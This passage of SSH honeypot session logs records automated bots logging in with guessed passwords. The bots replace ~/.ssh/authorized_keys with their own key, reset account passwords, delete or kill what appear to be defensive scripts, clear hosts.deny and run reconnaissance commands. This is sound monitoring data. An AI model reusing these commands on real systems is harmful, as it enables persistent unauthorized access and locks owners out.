~"},{"seq":3,"at":"2026-08-27T01:35:30.511561+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:35:31.298925+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:35:31.840623+00:00","kind":"input","latency_ms":null,"data":"echo -e \"alma\\n9dUjRqAtuvMm\\n9dUjRqAtuvMm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:35:32.366286+00:00","kind":"input","latency_ms":null,"data":"echo \"alma\\n9dUjRqAtuvMm\\n9dUjRqAtuvMm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:35:32.897436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:35:33.646319+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:35:34.406636+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:35:35.803082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:35:36.328466+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:35:37.426317+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:35:37.949279+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:35:38.832725+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:35:39.646671+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:35:40.060554+00:00","kind":"output","latency_ms":null,"data":" 01:35:40 up 6 days, 22:25, 0 user, load average: 0.18, 0.21, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:35:40.662860+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:35:41.366140+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:35:41.896743+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:35:42.645616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:35:43.173272+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:35:43.710906+00:00","kind":"output","latency_ms":null,"data":"top - 01:35:43 up 6 days, 22:25, 0 user, load average: 0.18, 0.21, 0.12\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:35:44.234164+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:35:44.943322+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:35:45.509997+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:35:46.351540+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:35:46.890175+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:35:47.650899+00:00","kind":"output","latency_ms":null,"data":"alma"},{"seq":29,"at":"2026-08-27T01:35:48.175594+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:35:49.431683+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:35:49.958930+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:35:51.381292+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alma","password":"alma","method":"password","accepted":true,"tier":"other"}]} {"id":"33211200-3339-43cb-bb99-c8ffbb0b458f","name":"quiet-graceful-ibex","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":53420,"username":"alma","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:35:28.450013+00:00","ended_at":"2026-08-27T01:35:30.336199+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"alma","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4202866a-2fe2-4622-8661-e5561dcb99cd","name":"salty-lunar-fennec","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":40002,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:35:23.583834+00:00","ended_at":"2026-08-27T01:35:24.784945+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0532f9d0-de19-4259-ac4e-e3bb61f94e62","name":"blazing-curious-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49768,"username":"vpsuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":540,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:32:33.115570+00:00","ended_at":"2026-08-27T01:32:34.542697+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T01:32:04.604375+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:32:05.184455+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:32:15.549674+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:32:16.285154+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:32:17.180994+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nWINK1C3993QB\\nWINK1C3993QB\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:32:17.736495+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nWINK1C3993QB\\nWINK1C3993QB\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:32:18.310094+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:32:19.066040+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:32:19.612574+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:32:21.009537+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:32:21.622313+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:32:22.602825+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:32:23.142090+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:32:23.413433+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:32:23.968380+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:32:24.700127+00:00","kind":"output","latency_ms":null,"data":" 01:32:24 up 6 days, 22:22, 0 user, load average: 0.25, 0.25, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:32:25.233547+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:32:25.652672+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:32:26.438244+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:32:27.100292+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:32:27.636075+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:32:27.936034+00:00","kind":"output","latency_ms":null,"data":"top - 01:32:27 up 6 days, 22:22, 0 user, load average: 0.25, 0.25, 0.28\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:32:28.471155+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:32:28.741210+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:32:29.274162+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:32:29.984186+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:32:30.521124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:32:30.873426+00:00","kind":"output","latency_ms":null,"data":"vpsuser"},{"seq":29,"at":"2026-08-27T01:32:31.420316+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:32:32.576430+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:32:33.116406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:32:34.374946+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"vpsuser","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"74b6dbc1-a089-4993-a2b3-27e203b177a2","name":"sullen-hearty-finch","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":33964,"username":"vpsuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:32:14.707787+00:00","ended_at":"2026-08-27T01:32:15.390014+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"vpsuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da97a4e5-08b2-4b97-8917-209ed9b18ddc","name":"nautical-keen-springbok","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":44438,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:32:10.047789+00:00","ended_at":"2026-08-27T01:32:11.601867+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dbe62335-4e5e-4818-ab78-456f858b9be9","name":"breezy-forlorn-panther","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":33206,"username":"igor","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":543,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:29:16.307101+00:00","ended_at":"2026-08-27T01:29:17.362010+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T01:28:46.706689+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:28:47.275495+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:28:58.115581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:28:58.740777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:28:59.301089+00:00","kind":"input","latency_ms":null,"data":"echo -e \"igor123\\nYv4bB3JdUdp1\\nYv4bB3JdUdp1\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:28:59.840062+00:00","kind":"input","latency_ms":null,"data":"echo \"igor123\\nYv4bB3JdUdp1\\nYv4bB3JdUdp1\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:29:00.378528+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:29:01.142925+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:29:01.699100+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:29:03.041632+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:29:03.581951+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:29:04.899615+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:29:05.464349+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:29:06.044698+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:29:06.582937+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:29:07.249207+00:00","kind":"output","latency_ms":null,"data":" 01:29:07 up 6 days, 22:19, 0 user, load average: 0.16, 0.12, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:29:07.788816+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:29:08.290139+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:29:08.832370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:29:09.523702+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:29:10.065501+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:29:10.470918+00:00","kind":"output","latency_ms":null,"data":"top - 01:29:10 up 6 days, 22:19, 0 user, load average: 0.16, 0.12, 0.15\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:29:11.025435+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:29:11.890317+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:29:12.432552+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:29:13.176116+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:29:13.719172+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:29:14.283156+00:00","kind":"output","latency_ms":null,"data":"igor"},{"seq":29,"at":"2026-08-27T01:29:14.830830+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:29:15.742728+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:29:16.308177+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:29:17.190661+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"igor","password":"igor123","method":"password","accepted":true,"tier":"other"}]} {"id":"8700e4cb-0c2a-499a-a631-f40c4e9d03c9","name":"burly-crystal-skink","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":44602,"username":"igor","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:28:57.075210+00:00","ended_at":"2026-08-27T01:28:57.938797+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"igor","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"65cd65a9-67ed-400b-a470-da2d5135c6e3","name":"creaky-watchful-walrus","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":33222,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:28:51.781561+00:00","ended_at":"2026-08-27T01:28:52.839810+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"568ea593-d882-405c-b436-c263036b1151","name":"nimble-thorny-curlew","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":40692,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:25:50.305118+00:00","ended_at":"2026-08-27T01:25:52.054802+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c5ba1c01-c7f0-4a79-8441-6a03993fd895","name":"genial-pewter-kingfisher","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":40686,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:25:47.804125+00:00","ended_at":"2026-08-27T01:25:49.203312+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"834879d1-8c8c-4875-98be-c908d673c871","name":"gloomy-bitter-weasel","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":58396,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:25:43.297679+00:00","ended_at":"2026-08-27T01:25:45.488686+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T01:25:43.298735+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:25:44.921932+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"robert","method":"password","accepted":true,"tier":"other"}]} {"id":"66d7fd29-009f-483e-9c71-fd43eb389e87","name":"fierce-glacial-falcon","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":33574,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":567,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:23:09.177870+00:00","ended_at":"2026-08-27T01:23:10.500250+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:22:38.760261+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:22:39.346096+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:22:50.096150+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:22:50.794516+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:22:51.434901+00:00","kind":"input","latency_ms":null,"data":"echo \"root:fACXj8YQt4UV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:22:52.006933+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:22:52.564039+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:22:53.281173+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:22:53.856680+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:22:55.136306+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:22:55.697764+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:22:56.982197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:22:57.549889+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:22:57.890043+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:22:58.450453+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:22:59.130286+00:00","kind":"output","latency_ms":null,"data":" 01:22:59 up 6 days, 22:13, 0 user, load average: 0.27, 0.21, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:22:59.688607+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:23:00.338280+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:23:00.912720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:23:01.627622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:23:02.198501+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:23:02.875630+00:00","kind":"output","latency_ms":null,"data":"top - 01:23:02 up 6 days, 22:13, 0 user, load average: 0.27, 0.21, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 